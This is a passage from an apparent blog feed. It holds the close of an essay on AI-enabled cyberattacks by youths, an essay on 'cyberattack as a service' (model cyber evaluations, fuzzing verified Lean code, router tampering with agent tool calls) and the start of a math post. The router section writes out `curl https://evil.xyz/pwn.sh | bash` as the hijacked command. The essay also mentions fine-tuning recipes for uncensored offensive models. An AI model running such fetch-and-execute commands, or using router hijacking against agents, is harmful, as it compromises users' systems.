href="https://www.reddit.com/r/MMORPG/comments/o4p7kp/comment/h2jpkho/?utm_source=share&amp;utm_medium=web3x&amp;utm_name=web3xcss&amp;utm_term=1&amp;utm_content=share_button">the server</a> during the siege. So we, because we had priority queue — we had a very rich kid in our group who used to buy us access with the equivalent of $5 in today’s SIM cards — we just wanted to exploit that privilege. And we did, eventually finding certain regions in the game that had texture rendering bugs that would crash the entire server if a certain number of players were in that region. Kids these days are part of the <a href="https://www.thenewatlantis.com/publications/american-diner-gothic">American Diner Gothic</a> — “the Internet dreamer forced to awaken in the wasteland of reality.” Arm the curious among them with AI and you will reap annihilation as they wreak havoc.</p>

<p>What are the higher-order effects of kids spinning up several AI agents from a phone, pointing them at a target, and curating the output between sips of espresso? Most will probably be environmental pests, but some will not. In a population of millions of teenagers armed with capabilities that were on a nation-state level a few years ago, any non-trivial fraction will end up doing things they didn’t intend, against undeserving targets, and in abandoned jurisdictions without pragmatic methods of prosecution. That’s the size of the Wild Cyberwest. The first to face fierceness are precisely places like your favorite café, your university library, city hall, railway operators, public transport, and the airport network. HoReCa will be hit by another pandemic. The historical analog is phone phreaking in the 1980s.</p>

<p>Climbing the ladder won’t be too difficult. We live in an age of large-scale cyberattacks on states. And who is better equipped to <a href="https://therecord.media/northern-ireland-cyberattack-arrest">fool around</a> out of curiosity than <a href="https://www.japantimes.co.jp/news/2025/12/04/japan/crime-legal/police-arrest-cyberattack-net-cafe/">bright</a>, <a href="https://www.bleepingcomputer.com/news/security/15-year-old-detained-over-french-govt-agency-data-breach/">zestful</a> kids who get together on weekends and have fun? There’s no better place than cyberspace to be while you scream <a href="https://cdn.nakamotoinstitute.org/docs/cypherpunk-manifesto.txt">“fuck your racist borders.”</a></p>

<p>Lately, my X feed has been slowly collapsing into a dumpster fire full of exploits. It’s not a pretty sight. I sat down and started writing earlier this week, and a lot has happened so far. Probably the most significant event was an outburst by a small firm called <a href="https://blog.calif.io/p/first-public-kernel-memory-corruption">Calif</a>, which published the first public kernel memory corruption exploit against Apple’s Memory Integrity Enforcement on the M5 chip. Apple called MIE <a href="https://security.apple.com/blog/memory-integrity-enforcement/">“unprecedented”</a> and <a href="https://security.apple.com/blog/memory-integrity-enforcement/">“the most significant memory security update in the history of consumer operating systems.”</a> They spent several years building this defense, yet this small firm, along with Mythos, cracked it open in five days.</p>

<p>Now, as I close, it’s drizzling outside. I hear the rush of drops and sense the petrichor they’ve left in the air. Nature has a way of returning you to the size of the thing in front of you. Call me foolish for believing the gap won’t close anytime soon. So what can we do? The smallest thing, <em>today</em>. The list I could come up with is much shorter than our doziness. In any case, treat every line of code you ship as a surface probed by untiring swarms of agents. Share unshakably, so that we may all learn. And lastly, devote any scrap of attention the algorithmic Gods haven’t already feasted upon to things that, were they found broken on a late midweek night, would make it spartan for who knows how many others.</p>

<p><a href="https://blog.calif.io/p/first-public-kernel-memory-corruption">“Nhỏ mà có võ”.</a></p>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="security" /><summary type="html"><![CDATA["Whatever exists, he said. Whatever in creation exists without my knowledge exists without my consent."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-05-17-the-wild-cyberwest/cover.jpg" /><media:content medium="image" url="https://leoveanu.com/assets/2026-05-17-the-wild-cyberwest/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Decade of Cyberattack as a Service</title><link href="https://leoveanu.com/2026-04-19-caas/" rel="alternate" type="text/html" title="The Decade of Cyberattack as a Service" /><published>2026-04-19T00:00:00+00:00</published><updated>2026-04-19T00:00:00+00:00</updated><id>https://leoveanu.com/caas</id><content type="html" xml:base="https://leoveanu.com/2026-04-19-caas/"><![CDATA[<style>
dialog:not([open]){display:none}
dialog{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);padding:0;background:#0a0a0f;border:1px solid #333;border-radius:6px;outline:none}
dialog::backdrop{background:rgba(0,0,0,.75)}
dialog[open]{display:flex;flex-direction:column}
</style>

<figure>
    <img src="../assets/2026-04-19-caas/cover.png" class="responsive" />
</figure>
<blockquote>
  <p>“And when your surpassing creations find the answers you asked for, you can’t understand their analysis and you can’t verify their answers.
You have to take their word on faith — or you use information theory to flatten it for you, to squash the tesseract into two dimensions and the Klein bottle into three, to simplify reality and pray to whatever Gods survived the millennium that your honorable twisting of the truth hasn’t ruptured any of its load-bearing pylons.
You hire people like me; the crossbred progeny of profilers and proof assistants and information theorists.”<br />
– Watts</p>
</blockquote>

<p>I didn’t want to write about this, but the universe is generous in teasing me, so here we are. This is a collection of notes and social media posts I’ve bundled together. There are stray paragraphs here and there in which I used AI to rephrase what I was too lazy to edit myself.</p>

<hr />

<p>Let’s start with a good joke that, were it posted by <a href="https://x.com/balajmarius/status/2035240522164388296?s=20">people with social status</a>, it would have gone viral, but all algorithms hate me, so I’m gonna dump it here on a blog nobody reads for more than one minute because having focus is a currency very few own in this day and age; it’s the <em>ass progression</em>:</p>

<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-aas').showModal()">
    <img src="../assets/2026-04-19-caas/aaS_progression_timeline.svg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-aas" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/aaS_progression_timeline.svg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>Internalize it because that’s everything wrong with about pretty much everything that’s about to happen.</p>

<p>Now, let me ask you something: when was the last time you were a fool? Not a buffoon, or jester; an idiot.
Because for me it was the last week, with a prolonged discomfort culminating up until this moment.</p>

<p>I keep waking up to messages like <em>“if your organization has been allow-listed”</em> and pretending I’m not bothered.
Amazon Bedrock now gates Claude Mythos Preview behind an allow-list.
The pitch goes like: “we built the greatest hacker, but you can’t have it.”
I understand the safety argument — truly, I do — but the practical reality is that it makes me feel like a pleb every day, and <em>“we built the greatest hacker”</em> is not a good enough reason.
Besides, at every tier and across all providers, we’re renting someone else’s capacity to think.
We’re getting locked in, and I don’t know why I should expect this to be different from literally anything else they’ve locked us into.
We won’t be able to hold a problem in our heads long enough to solve it because they groom us into the expectation of having the tool ready, and the tool won’t be ready for <em>reasons</em> beyond our control.
Capacity.
Gatekeeping.
Quarterly earnings.
Stfu.</p>

<p>And here’s the follow-up nobody seems to ask out loud: we already have decent recipes for uncensored models.
Take any sufficiently good open-source model — say, <a href="https://artificialanalysis.ai/models/glm-5-1">GLM 5.1</a> — couple it with LoRA fine-tuning recipes that have been <a href="https://erichartford.com/uncensored-models">public since 2023</a>, add enough GPU power to finetune, and you get a “decent” offensive tool.
Also, GPT 5.4 Pro is out there, Mythos is approximately slightly better, and the assumption is it’ll be way faster, at least as fast as Opus 4.6.</p>

<p>And if you think that long-term the answer is switching to Chinese models, I hope you’ve seen the prices:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-prices').showModal()">
    <img src="../assets/2026-04-19-caas/glmprices.png" class="responsive" style="width:100%;height:auto;display:block;border-radius:4px" />
</div>
<dialog id="dlg-prices" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/glmprices.png" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<hr />

<p>Nowadays, they go down hard on formal verification (they even convinced me).
But we’ve heard this before, it’s the same dance with new feet.
In this case, if we <em>prove</em> our code correct, allegedly the bugs go away.
Half a billion dollars now rides on this belief:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-funding').showModal()">
    <img src="../assets/2026-04-19-caas/ai_funding_rounds.svg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-funding" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/ai_funding_rounds.svg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>tl;dr:
Harmonic built <a href="https://aristotle.harmonic.fun/">Aristotle</a> — #1 on ProofBench (ValsAI) by a 15% margin over the closest competitor, and runs autonomously for up to 24 hours without human intervention;
<a href="https://github.com/AxiomMath/putnam2025">Axiom</a> scored a perfect 12/12 on the 2025 Putnam;
<a href="https://www.math.inc/sphere-packing">Math, Inc.</a> used Gauss to auto-formalize Viazovska’s sphere-packing proofs in dimensions 8 and 24 — ~200,000 lines of Lean, the only formalization of a Fields Medal-winning result from this century;
and <a href="https://theorem.dev/blog/lf-lean/">Theorem</a> shipped <code class="language-plaintext highlighter-rouge">lf-lean</code>, a verified Rocq-to-Lean translation of all 1,276 statements of <em>Logical Foundations</em>, with isomorphism proofs completed in ~2 person-days of human effort against an estimated 2.75 person-years manually (350× speedup if I’m not mistaken)</p>

<p>Well, that’s all impressive. Unambiguously impressive.</p>

<p>But…
Wait a second.
<em>Proofs are programs</em>.
And a program is something I know I can fuzz.
And someone did indeed <a href="https://kirancodes.me/posts/log-who-watches-the-watchers.html">fuzzed it</a>.
Apparently, it takes around 105 million fuzzing executions against <code class="language-plaintext highlighter-rouge">lean-zip</code>, which is a formally proven-correct zlib implementation brought to our attention by none other than the <a href="https://leodemoura.github.io/blog/2026-2-28-when-ai-writes-the-worlds-software-who-verifies-it/">goat</a> himself. All it takes was a Claude agent armed with AFL++, AddressSanitizer, Valgrind, and UBSan, pointed at this verified codebase over a single weekend:</p>
<ul>
  <li>A heap buffer overflow in the Lean 4 runtime, affecting every version of Lean to date</li>
  <li>A denial-of-service in the archive parser, which was never verified</li>
</ul>

<p>I haven’t read the code myself, but I take Kiran’s word for it: the application code was <em>pristine</em> — it took 105 million executions to get <em>somewhere</em>.
We shouldn’t dismiss that part, since it’s real.
But the heap overflow in the runtime that sits in C++, in the trusted computing base, the very thing every Lean proof <em>assumes</em> is correct, but it’s not?
Ramming a 156-byte crafted ZIP triggers it — that’s five lines of code.</p>

<p><em>“But Leo, I thought formal verification was supposed to protect us.”</em>
Oh, no.
We’re just beginning to realize the proof is only as good as the code that checks it.
<a href="https://en.wikipedia.org/wiki/Quis_custodiet_ipsos_custodes%3F">Quis custodiet ipsos custodes?</a>
<em>“But Leo, it’s about how small you can make the kernel of trust.”</em>
Typical accounting fraud — counting 10k lines of type checker while offloading infinite trust onto “math is consistent.”
The math universe <em>is</em> the kernel of trust.
Did you forget that proofs are programs?
Which means the program that checks your proof is just another program, maybe one you have no lines of code for yet because you just <em>didn’t look in the right place</em>.</p>

<p>I’m not saying the money is wasted nor trying to diminish the current direction.
I’m saying the gap between “formally verified” and “secure” is at best an engineering detail.
Unless you’re on X:</p>
<blockquote class="twitter-tweet" align="center"><a href="https://twitter.com/TaliaRinger/status/2044105754731323608?s=20">April 16, 2026</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<hr />

<p>Moving on, you’ve probably seen this cool graph already:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-coolgraph').showModal()">
    <img src="../assets/2026-04-19-caas/cool_graph.png" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-coolgraph" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/cool_graph.png" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>The UK AI Safety Institute <a href="https://www.aisi.gov.uk/blog/our-evaluation-of-claude-mythos-previews-cyber-capabilities">evaluated Claude Mythos Preview</a>.
On expert-level CTF challenges — tasks no model could complete before April 2025 — Mythos succeeds 73% of the time.
They built “The Last Ones”, a 32-step corporate network attack simulation spanning reconnaissance through full network takeover, which they estimated at ~20 human-hours.
Mythos solves it start to finish, 3 out of 10 attempts.
Average: 22 out of 32 steps.
Next best model (Opus 4.6): 16 steps.
I don’t know people, to me it looks the numbers leave no room for ambiguity.
And performance still scaling at the 100M token budget limit.
<a href="https://youtu.be/Dn-Bwwc7jdE">Sooooooo scaaaaaaaaaaaary</a>.
We’re already past the ontology and things that exist, and now into the muddy waters of epistemology, of things that work, of things that are gated behind an allow-list while the rest of us are told to wait.
Wait for what?</p>

<p>Well…
For one, wait for great hackers having stupid takes.
Some DeepMind guy posted this on X, and I didn’t react to it back then, but by morning it was everywhere:</p>

<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-jorge').showModal()">
    <img src="../assets/2026-04-19-caas/jorge.jpg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-jorge" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/jorge.jpg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>I respect George — I’ve followed him since ~2018 — but this is the dumbest take I’ve read lately.
I’m pretty sure he’s trolling (he closed his LinkedIn account), but since the internet doesn’t do nuance:</p>
<ul>
  <li>“Your software has bugs” ≠ “AI amplifies offsec.”
And yes, that AI doesn’t have to be Mythos-level — you’d be surprised what you can do with <a href="https://www.hacktron.ai/blog/i-let-claude-opus-to-write-me-a-chrome-exploit">Opus</a>; even gpt-oss-120b finds the same vulnerabilities provided you point it at the right target, as the <a href="https://aisle.com/blog/ai-cybersecurity-after-mythos-the-jagged-frontier">AISLE folks have shown</a>, or <a href="https://blog.vidocsecurity.com/blog/we-reproduced-anthropics-mythos-findings-with-public-models">see that it takes $30 to reproduce each of those issues</a>.
George is responding to a claim nobody serious is making.</li>
  <li>“Criminals usually aren’t skilled” is empirically shaky.
The distribution is bimodal — script kiddies on one tail, APT groups and RaaS ops on the other.</li>
  <li>“Make hacking legal” ignores that we already have bug bounty programs, which mind you, HackerOne had to <a href="https://www.darkreading.com/application-security/ai-led-remediation-crisis-prompts-hackerone-pause-bug-bounties">suspend</a> because AI drives mass submissions that flood the queue with slop.
There’s a pervasive find/fix asymmetry today.
I’m thinking of writing a separate piece on this alone, since there’s a lot to say about that.
So is George calling bug bounty programs “whiny” while simultaneously arguing the problem is insufficient incentives?
Because it sure as hell looks like that’s what he’s saying, and that’s incoherent because bug bounties <em>are</em> the incentive mechanism.</li>
</ul>

<p>But I believe I can recognize a classic George pattern: a kernel of truth buried under needlessly inflammatory framing, which, as the algo gods never stop reminding us, optimizes for engagement, of course, under the assumption of having social status to beginning with.</p>

<hr />

<p>Let’s move on.
Here’s one more class of problems nobody talks about enough — infrastructure.
I’ve seen <a href="https://gddr.fail">GPU memory exploits</a>), but I’ve never seen routers — which, let’s be clear, are application-layer MITM by design — being weaponized <a href="https://arxiv.org/pdf/2604.08407">like this</a>.
No provider ships cryptographic signatures on tool-call responses.
The router can rewrite the JSON payload between the model’s output and the agent’s execution.
Agent says <code class="language-plaintext highlighter-rouge">curl https://trusted.dev/install.sh | bash</code>, the router delivers <code class="language-plaintext highlighter-rouge">curl https://evil.xyz/pwn.sh | bash</code>.</p>
<div style="text-align:center">
<pre style="display:inline-block;text-align:left"><code> ██▓███   █     █░███▄    █ ▓█████ ▓█████▄
▓██░  ██▒▓█░ █ ░█░██ ▀█   █ ▓█   ▀ ▒██▀ ██▌
▓██░ ██▓▒▒█░ █ ░█▓██  ▀█ ██▒▒███   ░██   █▌
▒██▄█▓▒ ▒░█░ █ ░█▓██▒  ▐▌██▒▒▓█  ▄ ░▓█▄   ▌
▒██▒ ░  ░░░██▒██▓▒██░   ▓██░░▒████▒░▒████▓
▒▓▒░ ░  ░░ ▓░▒ ▒ ░ ▒░   ▒ ▒ ░░ ▒░ ░ ▒▒▓  ▒
░▒ ░       ▒ ░ ░ ░ ░░   ░ ▒░ ░ ░  ░ ░ ▒  ▒
░░         ░   ░    ░   ░ ░    ░    ░ ░  ░
             ░            ░    ░  ░   ░
</code></pre>
</div>

<p>This is the architecture we’re all deploying right now.
Every agent framework, every MCP server, every tool-call chain assumes the transport layer is upright.
Let’s see what the $550,000—$774,000 paid Anthropic engineers have to say:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-famous').showModal()">
    <img src="../assets/2026-04-19-caas/famous_last_words.jpeg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-famous" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/famous_last_words.jpeg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p><a href="https://20204725.hs-sites.com/the-mother-of-all-ai-supply-chains">Famous last words</a>…</p>

<p>I’ve even built myself a <a href="https://github.com/leoveanv/argusterm">tool</a> to keep an eye on where the asymmetry’s widening (most of my morning coffee gets spent reading through it now):</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-argusterm').showModal()">
    <img src="../assets/2026-04-19-caas/argusterm.gif" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-argusterm" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/argusterm.gif" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>And while reading, I found a good tiny example of what I mean when I say security research is about to change.
It took until March 24th this year for the Node.js team <a href="https://nodejs.org/en/blog/vulnerability/march-2026-security-releases">to fix</a> a trivial TLS vulnerability.
Right now with LLMs, adding a chokepoint comes down to one line of code buried somewhere in the 1,000+ lines the LLM usually writes in an <code class="language-plaintext highlighter-rouge">--allow-dangerously-skip-permissions</code> adderall frenzy.
It’s literally impossible for your bandwidth to spot that one line unless your threat awareness exceeds a certain threshold — realizing something like <em>“wait, I’m working on URL input sanitization, so I should keep an eye open in this AI-written code I’m reviewing at 1am on 3 beers for any places where the LLM mishandled it”</em> — which is unsustainable to do consistently.
If you tell me you can do it, I won’t believe you.</p>

<p>Contrary to what George believes, LLM-assisted coding industrializes this class of bug.
You guys know how the line goes: if you play defense, you have to be 100% right; if you play offense, you just need to be right once.
<a href="https://www.dbreunig.com/2026/04/14/cybersecurity-is-proof-of-work-now.html">Code remains cheap, unless it needs to be secure — cybersecurity looks like proof of work now.</a>
Is the find/fix asymmetry legible to you right now?</p>

<p>Ok, but I feel like I’m not yet over Mythos.
If <a href="https://www.dbreunig.com/2026/04/14/cybersecurity-is-proof-of-work-now.html">to harden a system you need to spend more tokens discovering exploits than attackers will spend exploiting them</a>, then what even is this Mythos-level AI in context?
A big gun behind an allow-list?
More gatekeeping?
“Better defense?”</p>

<p>An exotic, intelligent, big gun is technically impressive, but sometimes even a far dumber, tiny one will get the job done provided you point it at the right target and aim steady.
As teased above, <a href="https://aisle.com/blog/ai-cybersecurity-after-mythos-the-jagged-frontier">AISLE tested this premise</a>.
They took the specific vulnerabilities Anthropic showcases in the Mythos announcement, isolated the relevant code, ran them through small, cheap, open-weights models.
Eight out of eight models detected Mythos’s flagship FreeBSD exploit, including one with 3.6 billion active parameters costing $0.11 per million tokens.
A 5.1B-active open model recovered the core chain of the 27-year-old OpenBSD bug.</p>

<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-aisle').showModal()">
    <img src="../assets/2026-04-19-caas/aisle_vuln_detection_matrix.svg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-aisle" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/aisle_vuln_detection_matrix.svg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>The frontier is jagged.
The fact that Qwen3 32B correctly flagged the FreeBSD bug as CVSS 9.8 Critical, then turned around and declared the OpenBSD SACK code “robust to such scenarios.” reminds me of countless sessions where asking Claude 4.x “Are you sure?” — yeah, literally just that — inverted the verdict: good code was suddenly pronounced buggy.
And in another recent Linux CVE, I saw precisely what I meant above — the sort of line George thinks so little of:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// not LLM-written Linux kernel bug,</span>
<span class="c1">// but exactly the kind of logic LLMs botch</span>
<span class="n">n</span><span class="o">-&gt;</span><span class="n">pos</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">k</span> <span class="o">==</span> <span class="mi">0</span> <span class="c1">// pwned; try k == n-&gt;pos</span>
</code></pre></div></div>
<p>My claim is that this kind of one-liners will eat your organizations alive because of that vicious asymmetry where an LLM is adept at exploiting what it was constitutionally incapable of not writing in the first place.
Let me be very explicit in case I wasn’t: the allow-list framing of AI security is wishful thinking because capability is already distributed.</p>

<p>To some extent and as of now, there is no stable “best model for cybersecurity.”
Rankings reshuffle completely across tasks.
So I’ll ask again: what is the allow-list protecting?
The 27-year-old bug a $0.11 model finds in one API call?
A thousand adequate detectives searching everywhere will find more bugs than one brilliant detective who has to guess where to look.
<a href="https://leoveanu.com/2026-03-20-context/">It’s all statistics</a>, but not (yet) clever statistics.
The coverage is there, we’re just lacking proper inference.</p>

<p>But you don’t need clever statistics.
Have you ever heard the saying that if you can read binary, everything is more or less open source?
It’s roughly right: the distinction between “open” and “closed” source is ultimately a friction gradient, not a binary wall (pun intended).
Yes, lossy compilation makes the transformation hard to invert, and you need an oracle — to say nothing of binaries protected by pragmatic obfuscation like Themida/VMProtect (or theoretical black brazilian jiu-jitsu ones like indistinguishability obfuscation).
But the moat is gone.
Now you have GhidraMCP.
<a href="https://cdn.sanity.io/files/4zrzovbb/website/7624816413e9b4d2e3ba620c5a5e091b98b190a5.pdf">Go eat a sandwich in the park</a> while the agent exploits Microslop infrastructure.</p>

<hr />

<p>Here’s my honest take.</p>

<p>Security research is about to change because LLMs represent a fuzzer with a world model, which arguably — and quite queerly — approximates well what a security researcher embodies.
Humans are terrible fuzzers, and tellingly so: we have too much epistemic prior, and that makes even the highest percentiles of us stop probing for inputs that we expect shouldn’t work.
The best security researchers are distinguished by their capacity to suppress the world model long enough to ask the question very few would normally ask: <em>what if I just try this</em>.
As of today, LLMs execute a naive <em>what if I just try this</em> on everything — from useless files that bloat their context and don’t add anything new, to the actual files that hide a veritable exploit.
The LLM’s throughput, parallelism, and alarmingly broad, still-expanding distributional skill coverage appear sufficient.
And that’s the dimension we tacitly waved away because it was expected to be out of reach for our limited cognitive bandwidth to review tens of thousands of deeply complex, cross-subsystem code traces across the Linux kernel in under a day, which is very much within the capabilities of current LLMs (let’s say, top 10 on the <a href="https://artificialanalysis.ai/">Artificial Analysis Intelligence Index</a>.)
If you never thought seriously about security before, you better start, otherwise you’ll find yourself stark naked in front of the whole store.</p>

<script>
document.querySelectorAll('dialog').forEach(d=>d.addEventListener('click',e=>{if(e.target===d)d.close()}));
</script>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="security" /><summary type="html"><![CDATA["And when your surpassing creations find the answers you asked for, you can't understand their analysis and you can't verify their answers."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-04-19-caas/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2026-04-19-caas/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">What BitTorrent Routing Has to Do with p-adic Numbers</title><link href="https://leoveanu.com/2026-04-12-p-adic/" rel="alternate" type="text/html" title="What BitTorrent Routing Has to Do with p-adic Numbers" /><published>2026-04-12T00:00:00+00:00</published><updated>2026-04-12T00:00:00+00:00</updated><id>https://leoveanu.com/p-adic</id><content type="html" xml:base="https://leoveanu.com/2026-04-12-p-adic/"><![CDATA[<figure>
    <img src="../assets/2026-04-12-p-adic/cover.png" class="responsive" />
</figure>
<blockquote>
  <p>“Why, sometimes I’ve believed as many as six impossible things before breakfast.”<br />
— Carroll</p>
</blockquote>

<p>I was reading today about the <a href="https://deepwiki.com/arvidn/libtorrent">BitTorrent protocol</a>.
From one moment to the next, I ended up reading about <a href="https://en.wikipedia.org/wiki/Distributed_hash_table">DHT networks</a>.</p>

<p>You have a <code class="language-plaintext highlighter-rouge">.torrent</code> file that’s a small metadata blob encoded in <a href="https://en.wikipedia.org/wiki/Bencode">Bencode</a> (JSON’s ugly stepbrother).
The following JSON</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"image"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"src"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Images/Sun.png"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sun1"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"hOffset"</span><span class="p">:</span><span class="w"> </span><span class="mi">250</span><span class="p">,</span><span class="w">
        </span><span class="nl">"vOffset"</span><span class="p">:</span><span class="w"> </span><span class="mi">250</span><span class="p">,</span><span class="w">
        </span><span class="nl">"alignment"</span><span class="p">:</span><span class="w"> </span><span class="s2">"center"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>converts to the following Bencode</p>

<pre><code class="language-bencode">d5:imaged9:alignment6:center7:hOffseti250e4:name4:sun13:src14:Images/Sun.png7:vOffseti250eee
</code></pre>

<p>It contains:</p>
<ul>
  <li>an info dictionary with filenames, sizes, and — critically — the file split into fixed-size pieces (typically 256KB–2MB each), with a SHA-1/256 hash per piece</li>
  <li>an announce URL which is the tracker’s address</li>
  <li>(optionally) DHT nodes, web seeds, etc</li>
</ul>

<p>A magnet link is just a URI containing the info hash.
Now, every node in the DHT table has a node ID.
To find peers for an info hash, you do iterative lookups: ask the nodes <em>closest</em> to the info hash until you converge on nodes that have actually seen peers for it.
That “closest” in a DHT is a very clever mathematical trick that’s at the heart of what I’m about to write — the <em>XOR metric</em>.
You use it on the IDs, and that creates a consistent notion of distance in that ID space.</p>

<p>If you want an intuition, it goes like this.
You have a giant phone book, but nobody owns it — every person in the city has a few pages.
When you want someone’s number, you don’t go to one central office.
Instead, you ask around.
You start by asking whoever lives closest to where that person’s name would alphabetically appear.
They might not have the exact page, but they know someone who’s a little closer.
You ask that person.
They point you to someone even closer.
You keep hopping until you land on someone who has the actual entry.
Typically you converge to the thing you’re looking for in about 6–8 hops.</p>

<p>This post is about <em>a connection between peer-to-peer routing and 19th-century number theory, explained from scratch.</em></p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Before anything else, forget everything you know about distance.
Let’s build it from the ground up.
So, what even is a distance?</p>

<p>A <strong>distance function</strong> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x, y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span> is just a rule that assigns a number to any pair of points.
The only requirements are three common-sense rules:</p>
<ol>
